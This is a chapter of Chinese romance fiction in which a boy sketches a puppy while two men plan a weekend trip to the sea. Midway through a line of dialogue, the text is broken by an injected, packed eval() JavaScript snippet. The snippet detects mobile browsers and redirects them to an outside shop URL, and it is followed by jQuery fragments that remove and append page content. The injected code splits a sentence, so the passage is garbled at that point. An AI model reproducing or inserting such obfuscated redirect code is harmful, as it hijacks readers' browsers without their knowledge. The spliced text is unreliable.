林小安来的时候背了一个帆布包,拉链口露出一卷画纸的边角。他站在门口换鞋,饼饼围着他的脚踝转了三圈,尾巴摇出残影来。他蹲下去用手掌拢住饼饼,拢住之后又松了松,像在确认掌心里那个温热的小身体是真实的。

    "它重了。"林小安抬头看沈渡。

    "长肉了。"沈渡靠在玄关墙壁上,抱臂看着一人一狗,"上个月还不到两斤,上周称已经快三斤了。"

    林小安把饼饼抱起来走进客厅。他在茶几旁边铺开画纸,又从小帆布包里掏出几支削好的铅笔和一盒色粉笔。饼饼蹲在画纸旁边歪着头看他,又歪着头看了一眼画纸,大概在判断这两者之间的关系。林小安坐下来,把铅笔握在手里,开始起稿。

    沈渡给他倒了杯水放在旁边,没有再打扰他。他回到书房打开笔记本,屏幕上是一份新项目的前期文档——他接了一份游戏顾问的兼职,帮一家小型工作室审核世界观设定和数值框架,不需要坐班,线上沟通就好。对方第一次合作,给的条件不错,沈渡评估过项目潜力,比预期好一些。他戴着耳机听了一段语音会议,中间穿插着改了三份数值表。等他摘下耳机的时候,窗外的光线已经从正午偏到了下午。

    他起身出去倒水,经过客厅时放慢了脚步。

    林小安还在画。画纸上饼饼的轮廓已经成形了——圆脑袋,短耳朵,小身体蜷成的那团毛茸茸的弧度,尾巴从边缘翘出来,像一个毛绒绒的问号。他正在处理毛发的层次感,铅笔尖在纸面上细密地移动,发出沙沙的轻响。饼饼趴在画纸旁边的地板上睡着了,偶尔耳朵抖一下,梦见什么追东西的梦。

    沈渡靠在客厅门框上看了几秒,然后去了厨房。陆烬在灶台边,正把一锅炖好的骨头汤从火上端下来放到旁边的凉架上。他系着围裙,背影在午后斜进来的光线里被勾勒出一个清晰的轮廓。他听到脚步声,偏了一下头,目光在沈渡脸上落了一瞬。

    "会议开完了?"

    "嗯。"沈渡走到灶台旁边,看了一眼锅里,"什么汤?"

    "筒骨汤。放了玉米。"陆烬盖上盖子,"晚上喝。"

    沈渡靠在橱柜边上,手指在台面上敲了两下。午后很安静,客厅里传来铅笔摩擦纸面的细碎声响,阳光从窗户斜着铺进来,在木地板上拉出一条暖洋洋的光带。饼饼在地板上翻了个身,露出浅金色的肚皮。

    "小安画了多久了?"沈渡问。

    "一个半小时。"陆烬说,拿抹布把灶台边缘擦了一遍,"他中间换了三次笔,擦掉过一次重画了。"

    沈渡偏头往客厅看了一眼。林小安背对着他们坐在茶几前,肩膀微微前倾,握着铅笔的手指放松而稳定。他的侧脸在光线下显出一种专注的、沉浸的弧线。

    "他比他姐坐得住。"沈渡说。

    "小满坐不住。"

    "但她是行动派。"

    陆烬把抹布叠好搭在水龙头上,转过身来,和沈渡并排靠在橱柜边上。两个人面朝客厅方向,隔着一段餐桌的距离,看着林小安的背影和地板上那团睡着的金色毛球。午后安静得像一整片静止的湖面。

    "下周复查。"陆烬开口。

    沈渡点了点头。"小满说她陪。不用我们过去。"

    "那下周末呢?"

    沈渡偏头看他:"下周末什么事?"

    陆烬没有立刻回答。他低下头,看着自己搭在橱柜台面上的手指,然后开口了,声音不高不低,像在陈述一件他已经确定的事:"下周末,想不想去一趟海边。"

    沈渡看着他。午后光线从窗户透进来,落在陆烬的肩线和侧脸上,把他眼睫的阴影拉出一小片落在颧骨上方。他的表情很平,但沈渡注意到他的拇指在台面上轻轻蹭了一下——是一个不常出现在他身上的、带着试探意味的小动作。

    "海边?"沈渡问。

    "嗯。小满说她可以过来看着饼饼一天。"

    沈渡靠着橱柜,手指在台面上停了下来。他的目光从陆烬脸上移开,落在窗外那片被阳光照亮的街面上。远处有一只橘色的野猫正蹲在墙头眯着眼晒太阳。他的嘴角动了一下,又压平了。

    "行。"他说,"下周末。"

    陆烬点了一下头,收回目光,重新看向客厅方向。他的表情还是平的,但沈渡注意到他按在台面上的拇指不再蹭了,安静地摊平在台面上。

    傍晚林小安画完了。他把铅笔放下,吹了吹纸面上残余的碎屑,然后把画纸举起来对着光看了一会儿。饼饼已经醒了,蹲在他膝盖旁边仰头看着那张画,尾巴尖迟疑地晃了晃,大概在疑惑"这只怎么这么大"。

    沈渡走过去俯身看那张画。纸面上饼饼的形态抓得很准,耳朵的角度、尾巴翘起的弧度、前爪搭在一起的方式都和林小安面前蹲着的那只一模一样。毛发的处理用了几层深浅不一的色粉,在光线下能看到细微的层次感。

    "它耳朵应该再圆一点,"林小安指了指画纸左上角,"我画尖了。"

    "已经很好了。"沈渡说,"比它本尊好看。"

    饼饼仰头看他,喉咙里发出一声短促的"呜",像在抗议。陆烬走过来站在沈渡旁边,低头看了那幅画几秒,然后伸出手,用指尖极轻地碰了一下画纸左下角。那里有一小块留白,陆烬的指尖落在那片空白上,没有留下痕迹。

    "这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909746|213090||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    幅画,能留给我吗?"陆烬说。

    林小安愣了一下,抬头看着他,点了一下头:"行啊。本来就是给你们的。"他低头撕了一小块纸角,在上面写了一行小字,贴在画框背面。沈渡凑过去看,那行字写着:"饼饼·三斤·尾巴比画里长半寸。"

    那天林小安留下吃了晚饭才走。陆烬把画放在了电视柜旁边立着,饼饼路过的时候仰头看了两次,第一次看完之后绕着电视柜走了一圈,第二次看完之后跳到沙发上卧下来了,像在思考什么深奥的问题。沈渡洗完碗出来的时候,看到陆烬站在电视柜前,低头看着那张画。他的手指垂在身侧,没有碰画,但他看了很久,久到沈渡在客厅门口站了将近一分钟。

    沈渡走过去站在他旁边。"明天去买个画框。"

    陆烬偏过头来看他。客厅灯暖黄,把他的眉骨和鼻梁的轮廓照得柔和了一些。"嗯。"

    "把它框起来挂墙上。"

    陆烬收回视线,重新看向那幅画。"好。"

    饼饼从沙发上跳下来,小跑着凑到他们脚边,仰头看了看沈渡,又转头看了看陆烬,然后蹲坐下来,尾巴在木地板上扫了两下,像在说:你们能不能别光看画,也看看我。

    沈渡低头看了它一眼。"你今天被画了一天了,还没看够?"

    饼饼的耳朵耷拉下来,尾巴停了一拍,然后站起来调了个方向,用屁股对着他们。沈渡看着那个圆滚滚的金色背影,笑了一声。陆烬没有笑,但他蹲下去,用指背碰了一下饼饼的尾尖。饼饼的耳朵转了一下,尾巴尖晃了晃,没有转回来。

    窗外天色已经暗透了,但路灯的光从窗帘缝隙里渗进来,在木地板上铺成一长条暖橙色的窄带。沈渡站在灯光和暗影的交界处,侧头看了一眼身边的人。陆烬还蹲着,手指在饼饼的尾尖上放着,饼饼尾巴不晃了,但他手指也没收回去。

    "陆烬。"

    "嗯。"

    "下周末是开车去还是坐车去?"

    陆烬抬起头来看他。蹲着的角度让他比沈渡矮了一截,但沈渡从那个仰起的视角里看到他嘴角有一道极浅的、几乎看不出来的弧线。"坐车。"陆烬说,"我买了票了。"

    沈渡没再追问。他转身往客厅方向走了两步,走到一半又停下来,没回头,只说了一句:"那你把时间发我。我调一下会议时间。"

    他说完走开了。饼饼在他身后从地上爬起来,哒哒哒地追着他的脚步去了。陆烬从地上站起来,站在电视柜旁边,看着沈渡的背影消失在书房门口。然后他低头看了一眼自己刚刚碰过饼饼尾尖的那根手指,没什么表情地收回身侧,转身去厨房把灶台上的汤锅盖好。